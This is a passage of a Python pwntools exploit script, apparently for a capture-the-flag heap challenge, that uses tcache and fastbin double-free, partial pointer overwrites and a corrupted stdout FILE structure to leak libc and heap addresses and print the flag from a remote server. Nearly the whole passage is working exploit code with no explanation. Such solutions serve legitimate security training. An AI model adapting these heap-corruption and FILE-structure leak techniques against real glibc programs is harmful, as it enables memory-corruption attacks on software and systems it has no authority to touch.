    for _ in range(7):
        buy(s, 0x10)

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 8, b"\x40\x96")
    
    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 11 ; overwritten heap address

    # overwrite chunk size
    edit(s, 11, p64(0) + p64(0x421))

    # fill tcache 0x20
    for _ in range(2):
        buy(s, 0x10)
    for i in range(7):
        refund(s, i + 1)

    # fastbin dup 12 -> 13 -> 12
    refund(s, 12)
    refund(s, 13)
    refund(s, 12)

    # clean tcache 0x20
    for _ in range(7):
        buy(s, 0x10)

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 12, b"\x50\x96")

    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 15 ; overwritten heap address
    
    # free(0x555555559650) ; move chunk to unsorted bin
    refund(s, 15)

    # clean tcache 0x70
    for _ in range(7):
        buy(s, 0x60)

    # restore chunk size
    edit(s, 11, p64(0) + p64(0x71))

    # partially overwrite main_arena -> stdout
    buy(s, 0x60)
    edit(s, 22, b"\xa0\x06\xfc")    # aslr off
    # edit(s, 22, b"\xa0\x76")      # aslr on
    
    for _ in range(3):
        buy(s, 0x60)

    # leak libc
    io_is_appending = 0x1000
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x19
    r = edit(s, 25, payload)

    lib.address = u64(r[0x8:0x10]) - 0x1ec980
    log.info(f"libc : {hex(lib.address)}")
    main_arena = lib.address + 0x1ecbe0

    # leak heap - print main_arena
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(main_arena)          # _IO_write_base
    payload += p64(main_arena + 0x20)   # _IO_write_ptr
    payload += p64(main_arena + 0x20)   # _IO_write_end
    r = edit(s, 25, payload)
    
    heap = u64(r[0:8]) - 0xbc0
    log.info(f"heap : {hex(heap)}")
    flag = heap + 0x308

    # print flag
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(flag)                # _IO_write_base
    payload += p64(flag + 0x30)         # _IO_write_ptr
    payload += p64(flag + 0x30)         # _IO_write_end
    r = edit(s, 25, payload)

    f = r.split(b'\n')[0]
    context.log_level ="DEBUG"
    log.success(f"flag : {f.decode()}")
    
    s.close()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()

    main(args.server, args.port, args.debug)